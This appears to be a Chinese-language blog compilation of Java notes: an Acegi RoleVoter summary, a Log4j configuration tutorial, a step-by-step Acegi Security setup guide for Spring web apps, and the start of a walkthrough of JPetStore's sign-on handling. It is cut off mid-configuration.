RoleVoter类是一个Acegi安全系统AccessDecisionVoter接口的实现。如果ConfigAttribute以ROLE_开头，RoleVoter则进行投票。如果GrantedAuthority的getAutority方法的String返回值匹配一个或多个以ROLE_开头的ConfigAttribute，则投票通过，否则不通过。如果没有以ROLE_开头的ConfigAttribute，RoleVoter则弃权。<br><br><strong>安全拦截器</strong><br>&nbsp;&nbsp;拦截器如何工作<br>&nbsp;&nbsp;MethodInvocation拦截器<br>&nbsp;&nbsp;FilterInvocation拦截器<br>认证<br>&nbsp;&nbsp;认证请求<br>&nbsp;&nbsp;认证管理器<br>&nbsp;&nbsp;Authentication Provider<br>授权<br>&nbsp;&nbsp;Access Decision Manager<br>&nbsp;&nbsp;Voting Decision Manager<br>&nbsp;&nbsp;授权管理推荐<br>ContextHolder的用户接口<br>&nbsp;&nbsp;用户接口目标<br>&nbsp;&nbsp;HTTP会话认证<br>&nbsp;&nbsp;HTTP Basic认证<br><br>1、Log4j的概念<br>&nbsp;&nbsp; Log4j中有三个主要的组件，它们分别是Logger、Appender和Layout，Log4j 允许开发人员定义多个Logger，每个Logger拥有自己的名字，Logger之间通过名字来表明隶属关系。有一个Logger称为Root，它永远 存在，且不能通过名字检索或引用，可以通过Logger.getRootLogger()方法获得，其它Logger通过 Logger.getLogger(String name)方法。<br>&nbsp;&nbsp; Appender则是用来指明将所有的log信息存放到什么地方，Log4j中支持多种appender，如 console、files、GUI components、NT Event Loggers等，一个Logger可以拥有多个Appender，也就是你既可以将Log信息输出到屏幕，同时存储到一个文件中。<br>&nbsp;&nbsp; Layout的作用是控制Log信息的输出方式，也就是格式化输出的信息。<br>&nbsp;&nbsp; Log4j中将要输出的Log信息定义了5种级别，依次为DEBUG、INFO、WARN、ERROR和FATAL，当输出时，只有级别高过配置中规定的 级别的信息才能真正的输出，这样就很方便的来配置不同情况下要输出的内容，而不需要更改代码，这点实在是方便啊。<br><br>2、Log4j的配置文件<br>&nbsp;&nbsp;虽然可以不用配置文件，而在程序中实现配置，但这种方法在如今的系统开发中显然是不可取的，能采用配置文件的地方一定一定要用配置文件。Log4j支持两 种格式的配置文件：XML格式和Java的property格式，本人更喜欢后者，首先看一个简单的例子吧，如下：<br><br>
<pre class=overflow> log4j.rootLogger=debug, stdout, R<br>&nbsp;&nbsp;log4j.appender.stdout=org.apache.log4j.ConsoleAppender<br>&nbsp;&nbsp;log4j.appender.stdout.layout=org.apache.log4j.PatternLayout<br><br>&nbsp;&nbsp;# Pattern to output the caller's file name and line number.<br>&nbsp;&nbsp;log4j.appender.stdout.layout.ConversionPattern=%5p [%t] (%F:%L) - %m%n<br><br>&nbsp;&nbsp;log4j.appender.R=org.apache.log4j.RollingFileAppender<br>&nbsp;&nbsp;log4j.appender.R.File=example.log<br>&nbsp;&nbsp;log4j.appender.R.MaxFileSize=100KB<br><br>&nbsp;&nbsp;# Keep one backup file<br>&nbsp;&nbsp;log4j.appender.R.MaxBackupIndex=1<br><br>&nbsp;&nbsp;log4j.appender.R.layout=org.apache.log4j.PatternLayout<br>&nbsp;&nbsp;log4j.appender.R.layout.ConversionPattern=%p %t %c - %m%n</pre>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br><br>&nbsp;&nbsp;首先，是设置root，格式为 log4j.rootLogger=[level],appenderName, ...，其中level就是设置需要输出信息的级别，后面是appender的输出的目的地，appenderName就是指定日志信息输出到哪个地方。您可以同时指定多个输出目的地。配置日志信息输出目的地Appender，其语法为<br>&nbsp;&nbsp;log4j.appender.appenderName = fully.qualified.name.of.appender.class<br>&nbsp;&nbsp;log4j.appender.appenderName.option1 = value1<br>&nbsp;&nbsp;...<br>&nbsp;&nbsp;log4j.appender.appenderName.option = valueN<br>Log4j提供的appender有以下几种：<br>&nbsp;&nbsp;org.apache.log4j.ConsoleAppender（控制台）<br>&nbsp;&nbsp;org.apache.log4j.FileAppender（文件）<br>&nbsp;&nbsp;org.apache.log4j.DailyRollingFileAppender（每天产生一个日志文件）<br>&nbsp;&nbsp;org.apache.log4j.RollingFileAppender（文件大小到达指定尺寸的时候产生新文件）<br>&nbsp;&nbsp;org.apache.log4j.WriterAppender（将日志信息以流格式发送到任意指定的地方）<br>配置日志信息的格式（布局），其语法为：<br>&nbsp;&nbsp;log4j.appender.appenderName.layout = fully.qualified.name.of.layout.class<br>&nbsp;&nbsp;log4j.appender.appenderName.layout.option1 = value1<br>&nbsp;&nbsp;....<br>&nbsp;&nbsp;log4j.appender.appenderName.layout.option = valueN<br>Log4j提供的layout有以下几种：<br>&nbsp;&nbsp;org.apache.log4j.HTMLLayout（以HTML表格形式布局），<br>&nbsp;&nbsp;org.apache.log4j.PatternLayout（可以灵活地指定布局模式），<br>&nbsp;&nbsp;org.apache.log4j.SimpleLayout（包含日志信息的级别和信息字符串），<br>&nbsp;&nbsp;org.apache.log4j.TTCCLayout（包含日志产生的时间、线程、类别等等信息） <br><br>3、Log4j在程序中的使用<br>&nbsp;&nbsp;要在自己的类中使用Log4j，首先声明一个静态变量Logger logger=Logger.getLog("classname")；在使用之前，用PropertyConfigurator.configure ("配置文件")配置一下，现在就可以使用了，用法如下：logger.debug("debug message")或者logger.info("info message")，看下面一个小例子：<br><br>
<pre class=overflow> import com.foo.Bar;<br>&nbsp;&nbsp;import org.apache.log4j.Logger;<br>&nbsp;&nbsp;import org.apache.log4j.PropertyConfigurator;<br>&nbsp;&nbsp;public class MyApp {<br>&nbsp;&nbsp;&nbsp;&nbsp;static Logger logger = Logger.getLogger(MyApp.class.getName());<br>&nbsp;&nbsp;&nbsp;&nbsp;public static void main(String[] args) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// BasicConfigurator replaced with PropertyConfigurator.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PropertyConfigurator.configure(args[0]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logger.info("Entering application.");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bar bar = new Bar();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bar.doIt();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logger.info("Exiting application.");<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}</pre>
<br><br><br>[简介]<br><br>对于一个典型的Web应用，完善的认证和授权机制是必不可少的，在SpringFramework中，Juergen Hoeller提供的范例JPetStore给了一些这方面的介绍，但还远远不够，Acegi是一个专门为SpringFramework提供安全机制的 项目，全称为Acegi Security System for Spring，当前版本为0.5.1，就其目前提供的功能，应该可以满足绝大多数应用的需求。<br><br>本文的主要目的是希望能够说明如何在基于Spring构架的Web应用中使用Acegi，而不是详细介绍其中的每个接口、每个类。注意，即使对已经存在的Spring应用，通过下面介绍的步骤，也可以马上享受到Acegi提供的认证和授权。<br><br>[基础工作]<br>在你的Web应用的lib中添加Acegi下载包中的acegi-security.jar<br><br>[web.xml]<br>实现认证和授权的最常用的方法是通过filter，Acegi亦是如此，通常Acegi需要在web.xml添加以下5个filter:<br><br>
<pre class=overflow>&lt;filter&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Channel Processing Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;filter-class&gt;net.sf.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;<br>&nbsp;&nbsp;&lt;init-param&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;targetClass&lt;/param-name&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;net.sf.acegisecurity.securechannel.ChannelProcessingFilter&lt;/param-value&gt;<br>&nbsp;&nbsp;&lt;/init-param&gt;<br>&lt;/filter&gt;<br>&lt;filter&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Authentication Processing Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;filter-class&gt;net.sf.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;<br>&nbsp;&nbsp;&lt;init-param&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;targetClass&lt;/param-name&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilter&lt;/param-value&gt;<br>&nbsp;&nbsp;&lt;/init-param&gt;<br>&lt;/filter&gt;<br>&lt;filter&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi HTTP BASIC Authorization Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;filter-class&gt;net.sf.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;<br>&nbsp;&nbsp;&lt;init-param&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;targetClass&lt;/param-name&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;net.sf.acegisecurity.ui.basicauth.BasicProcessingFilter&lt;/param-value&gt;<br>&nbsp;&nbsp;&lt;/init-param&gt;<br>&lt;/filter&gt;<br>&lt;filter&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Security System for Spring Auto Integration Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;filter-class&gt;net.sf.acegisecurity.ui.AutoIntegrationFilter&lt;/filter-class&gt;<br>&lt;/filter&gt;<br>&lt;filter&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi HTTP Request Security Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;filter-class&gt;net.sf.acegisecurity.util.FilterToBeanProxy&lt;/filter-class&gt;<br>&nbsp;&nbsp;&lt;init-param&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;targetClass&lt;/param-name&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;net.sf.acegisecurity.intercept.web.SecurityEnforcementFilter&lt;/param-value&gt;<br>&nbsp;&nbsp;&lt;/init-param&gt;<br>&lt;/filter&gt;</pre>
<br><br>最先引起迷惑的是net.sf.acegisecurity.util.FilterToBeanProxy，Acegi自己的文档上解释是： &#8220;What&nbsp;&nbsp;FilterToBeanProxy does is delegate the Filter's methods through to a bean which is obtained from the <br>Spring application context. This enables the bean to benefit from the Spring application context lifecycle support and configuration flexibility.&#8221;，如希望深究的话，去看看源代码应该不难理解。<br><br>再下来就是添加filter-mapping了：<br>
<pre class=overflow>&lt;filter-mapping&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Channel Processing Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br>&lt;/filter-mapping&gt;<br>&lt;filter-mapping&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Authentication Processing Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br>&lt;/filter-mapping&gt;<br>&lt;filter-mapping&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi HTTP BASIC Authorization Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br>&lt;/filter-mapping&gt;<br>&lt;filter-mapping&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi Security System for Spring Auto Integration Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br>&lt;/filter-mapping&gt;<br>&lt;filter-mapping&gt;<br>&nbsp;&nbsp;&lt;filter-name&gt;Acegi HTTP Request Security Filter&lt;/filter-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br>&lt;/filter-mapping&gt;</pre>
<br><br>这里，需要注意以下两点：<br>1) 这几个filter的顺序是不能更改的，顺序不对将无法正常工作；<br>2) 如果你的应用不需要安全传输，如https，则将"Acegi Channel Processing Filter"相关内容注释掉即可；<br>3) 如果你的应用不需要Spring提供的远程访问机制，如Hessian and Burlap，将"Acegi HTTP BASIC Authorization <br>Filter"相关内容注释掉即可。<br><br>[applicationContext.xml]<br>接下来就是要添加applicationContext.xml中的内容了，从刚才FilterToBeanFactory的解释可以看出，真正的filter都<br>在Spring的applicationContext中管理：<br><br>1) 首先，你的数据库中必须具有保存用户名和密码的table，Acegi要求table的schema必须如下：<br><br>
<pre class=overflow>CREATE TABLE users (<br>&nbsp;&nbsp;&nbsp;&nbsp;username VARCHAR(50) NOT NULL PRIMARY KEY,<br>&nbsp;&nbsp;&nbsp;&nbsp;password VARCHAR(50) NOT NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;enabled BIT NOT NULL<br>);<br>CREATE TABLE authorities (<br>&nbsp;&nbsp;&nbsp;&nbsp;username VARCHAR(50) NOT NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;authority VARCHAR(50) NOT NULL<br>);<br>CREATE UNIQUE INDEX ix_auth_username ON authorities ( username, authority );<br>ALTER TABLE authorities ADD CONSTRAINT fk_authorities_users foreign key (username) REFERENCES users<br>(username);</pre>
<br><br>2) 添加访问你的数据库的datasource和Acegi的jdbcDao，如下：<br><br>
<pre class=overflow>&lt;bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"&gt;<br>&nbsp;&nbsp;&lt;property name="driverClassName"&gt;&lt;value&gt;${jdbc.driverClassName}&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="url"&gt;&lt;value&gt;${jdbc.url}&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="username"&gt;&lt;value&gt;${jdbc.username}&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="password"&gt;&lt;value&gt;${jdbc.password}&lt;/value&gt;&lt;/property&gt;<br>&lt;/bean&gt;<br>&lt;bean id="jdbcDaoImpl" class="net.sf.acegisecurity.providers.dao.jdbc.JdbcDaoImpl"&gt;<br>&nbsp;&nbsp;&lt;property name="dataSource"&gt;&lt;ref bean="dataSource"/&gt;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>3) 添加DaoAuthenticationProvider:<br><br>
<pre class=overflow>&lt;bean id="daoAuthenticationProvider" class="net.sf.acegisecurity.providers.dao.DaoAuthenticationProvider"&gt;<br>&nbsp;&nbsp;&lt;property name="authenticationDao"&gt;&lt;ref bean="authenticationDao"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="userCache"&gt;&lt;ref bean="userCache"/&gt;&lt;/property&gt;<br>&lt;/bean&gt;<br><br>&lt;bean id="userCache" class="net.sf.acegisecurity.providers.dao.cache.EhCacheBasedUserCache"&gt;<br>&nbsp;&nbsp;&lt;property name="minutesToIdle"&gt;&lt;value&gt;5&lt;/value&gt;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>如果你需要对密码加密，则在daoAuthenticationProvider中加入：&lt;property name="passwordEncoder"&gt;&lt;ref <br>bean="passwordEncoder"/&gt;&lt;/property&gt;，Acegi提供了几种加密方法，详细情况可看包<br>net.sf.acegisecurity.providers.encoding<br><br>4) 添加authenticationManager:<br><br>
<pre class=overflow>&lt;bean id="authenticationManager" class="net.sf.acegisecurity.providers.ProviderManager"&gt;<br>&nbsp;&nbsp;&lt;property name="providers"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="daoAuthenticationProvider"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/list&gt;<br>&nbsp;&nbsp; &lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>5) 添加accessDecisionManager:<br><br>
<pre class=overflow>&lt;bean id="accessDecisionManager" class="net.sf.acegisecurity.vote.AffirmativeBased"&gt;<br>&nbsp;&nbsp;&lt;property name="allowIfAllAbstainDecisions"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;false&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="decisionVoters"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;&lt;ref bean="roleVoter"/&gt;&lt;/list&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;<br>&lt;bean id="roleVoter" class="net.sf.acegisecurity.vote.RoleVoter"/&gt;</pre>
<br><br>6) 添加authenticationProcessingFilterEntryPoint:<br><br>
<pre class=overflow>&lt;bean id="authenticationProcessingFilterEntryPoint" <br>class="net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilterEntryPoint"&gt;<br>&nbsp;&nbsp;&lt;property name="loginFormUrl"&gt;&lt;value&gt;/acegilogin.jsp&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="forceHttps"&gt;&lt;value&gt;false&lt;/value&gt;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>其中acegilogin.jsp是登陆页面，一个最简单的登录页面如下：<br><br>
<pre class=overflow>&lt;%@ taglib prefix='c' uri='http://java.sun.com/jstl/core' %&gt;<br>&lt;%@ page import="net.sf.acegisecurity.ui.AbstractProcessingFilter" %&gt;<br>&lt;%@ page import="net.sf.acegisecurity.AuthenticationException" %&gt;<br>&lt;html&gt;<br>&nbsp;&nbsp;&lt;head&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;Login&lt;/title&gt;<br>&nbsp;&nbsp;&lt;/head&gt;<br><br>&nbsp;&nbsp;&lt;body&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;h1&gt;Login&lt;/h1&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;c:url value='j_acegi_security_check'/&gt;" method="POST"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;table&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;&lt;td&gt;User:&lt;/td&gt;&lt;td&gt;&lt;input type='text' name='j_username'&gt;&lt;/td&gt;&lt;/tr&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;&lt;td&gt;Password:&lt;/td&gt;&lt;td&gt;&lt;input type='password' name='j_password'&gt;&lt;/td&gt;&lt;/tr&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;&lt;td colspan='2'&gt;&lt;input name="submit" type="submit"&gt;&lt;/td&gt;&lt;/tr&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;&lt;td colspan='2'&gt;&lt;input name="reset" type="reset"&gt;&lt;/td&gt;&lt;/tr&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/table&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br>&nbsp;&nbsp;&lt;/body&gt;<br>&lt;/html&gt;</pre>
<br><br>7) 添加filterInvocationInterceptor:<br><br>
<pre class=overflow>&lt;bean id="filterInvocationInterceptor" <br>class="net.sf.acegisecurity.intercept.web.FilterSecurityInterceptor"&gt;<br>&nbsp;&nbsp;&lt;property name="authenticationManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="authenticationManager"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="accessDecisionManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="accessDecisionManager"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="objectDefinitionSource"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A/sec/administrator.*\Z=ROLE_SUPERVISOR<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A/sec/user.*\Z=ROLE_TELLER<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>这里请注意，要objectDefinitionSource中定义哪些页面需要权限访问，需要根据自己的应用需求进行修改，我上面给出<br>的定义的意思是这样的：<br>a. CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON意思是在比较请求路径时全部转换为小写<br>b. \A/sec/administrator.*\Z=ROLE_SUPERVISOR意思是只有权限为ROLE_SUPERVISOR才能访问/sec/administrator*的页面<br>c. \A/sec/user.*\Z=ROLE_TELLER意思是只有权限为ROLE_TELLER的用户才能访问/sec/user*的页面<br><br>8) 添加securityEnforcementFilter:<br><br>
<pre class=overflow>&lt;bean id="securityEnforcementFilter" class="net.sf.acegisecurity.intercept.web.SecurityEnforcementFilter"&gt;<br>&nbsp;&nbsp;&lt;property name="filterSecurityInterceptor"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="filterInvocationInterceptor"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="authenticationEntryPoint"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="authenticationProcessingFilterEntryPoint"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br><br>9) 添加authenticationProcessingFilter:<br><br>
<pre class=overflow>&lt;bean id="authenticationProcessingFilter" <br>class="net.sf.acegisecurity.ui.webapp.AuthenticationProcessingFilter"&gt;<br>&nbsp;&nbsp;&lt;property name="authenticationManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="authenticationManager"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="authenticationFailureUrl"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;/loginerror.jsp&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="defaultTargetUrl"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;/&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="filterProcessesUrl"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;/j_acegi_security_check&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;</pre>
<br>其中authenticationFailureUrl是认证失败的页面。<br><br>10) 如果需要一些页面通过安全通道的话，添加下面的配置:<br><br>
<pre class=overflow>&lt;bean id="channelProcessingFilter" class="net.sf.acegisecurity.securechannel.ChannelProcessingFilter"&gt;<br>&nbsp;&nbsp;&lt;property name="channelDecisionManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="channelDecisionManager"/&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;property name="filterInvocationDefinitionSource"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A/sec/administrator.*\Z=REQUIRES_SECURE_CHANNEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A/acegilogin.jsp.*\Z=REQUIRES_SECURE_CHANNEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A/j_acegi_security_check.*\Z=REQUIRES_SECURE_CHANNEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\A.*\Z=REQUIRES_INSECURE_CHANNEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/value&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;<br><br>&lt;bean id="channelDecisionManager" class="net.sf.acegisecurity.securechannel.ChannelDecisionManagerImpl"&gt;<br>&nbsp;&nbsp;&lt;property name="channelProcessors"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="secureChannelProcessor"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="insecureChannelProcessor"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/list&gt;<br>&nbsp;&nbsp;&lt;/property&gt;<br>&lt;/bean&gt;<br>&lt;bean id="secureChannelProcessor" class="net.sf.acegisecurity.securechannel.SecureChannelProcessor"/&gt;<br>&lt;bean id="insecureChannelProcessor" class="net.sf.acegisecurity.securechannel.InsecureChannelProcessor"/&gt;</pre>
<br><br>[缺少了什么？]<br>Acegi目前提供了两种"secure object"，分别对页面和方法进行安全认证管理，我这里介绍的只是利用<br>FilterSecurityInterceptor对访问页面的权限控制，除此之外，Acegi还提供了另外一个Interceptor――<br>MethodSecurityInterceptor，它结合runAsManager可实现对对象中的方法的权限控制，使用方法可参看Acegi自带的文档<br>和contact范例。<br><br>[最后要说的]<br>本来以为只是说明如何使用Acegi而已，应该非常简单，但真正写起来才发现想要条理清楚的理顺所有需要的bean还是很<br>困难的，但愿我没有遗漏太多东西，如果我的文章有什么遗漏或错误的话，还请参看Acegi自带的quick-start范例，但请<br>注意，这个范例是不能直接拿来用的。<br>分析和学习Spring中的jpetstore用户管理 <br>&nbsp;&nbsp;存在用户的系统，必然需要用户的登录和认证，今天就通过分析Spring中自带的jpetstore的例子来学习一下如何实现在Spring构架的系统中用户登录。<br>1、首先从注册用户开始，先看看jpetstore-servlet.xml中关于注册用户的bean定义，从定义命名中就可以看出下面这段就是注册用户的：<br>&nbsp;&nbsp;
<pre class=overflow>&lt;bean name="/shop/newAccount.do" class="org.springframework.samples.jpetstore.web.spring.AccountFormController"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="petStore"&gt;&lt;ref bean="petStore"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="validator"&gt;&lt;ref bean="accountValidator"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="successView"&gt;&lt;value&gt;index&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;/bean&gt;</pre>
<br>1). formView呢？从AccountFormController的构造函数中得到，原来为EditAccountForm；&nbsp;&nbsp;<br>2). EditoAccountForm.jsp中显得非常乱，其实没有多少难理解的地方，最主要的是这个form既是添加新用户的，又是编辑用户信息的，所以显得有点乱糟糟的。<br>2、添加好了新用户，接下来看看如何登录，在jpetstore-servlet中发现这两个相关bean定义，如下：<br>&nbsp;&nbsp;
<pre class=overflow>&lt;bean name="/shop/signon.do" class="org.springframework.samples.jpetstore.web.spring.SignonController"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="petStore"&gt;&lt;ref bean="petStore"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;/bean&gt;<br>&nbsp;&nbsp;&lt;bean name="/shop/signonForm.do" class="org.springframework.web.servlet.mvc.ParameterizableViewController"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="viewName"&gt;&lt;value&gt;SignonForm&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;/bean&gt;</pre>
<br>1). 第二个bean是在运行时用户输入用户名和密码的form，叫做SignonForm，对于这个 ParameterizableViewController，用文档里的话说这是最简单的Controller，其作用就是在运行中指向 Controller而不是直接指向jsp文件，仅此而已。<br>2). SignonForm.jsp，里面就是一个简单的form，其action就是第一个bean，即/shop/signon.do，最需要注意的是 signonForwardAction，其主要作用是forward到需要输入用户名和密码的那个页面上去，这个变量哪里来的呢？看看下面：<br>&nbsp;&nbsp;
<pre class=overflow>&lt;bean id="secureHandlerMapping" class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="interceptors"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="signonInterceptor"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="urlMap"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;map&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;entry key="/shop/editAccount.do"&gt;&lt;ref local="secure_editAccount"/&gt;&lt;/entry&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;entry key="/shop/listOrders.do"&gt;&lt;ref local="secure_listOrders"/&gt;&lt;/entry&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;entry 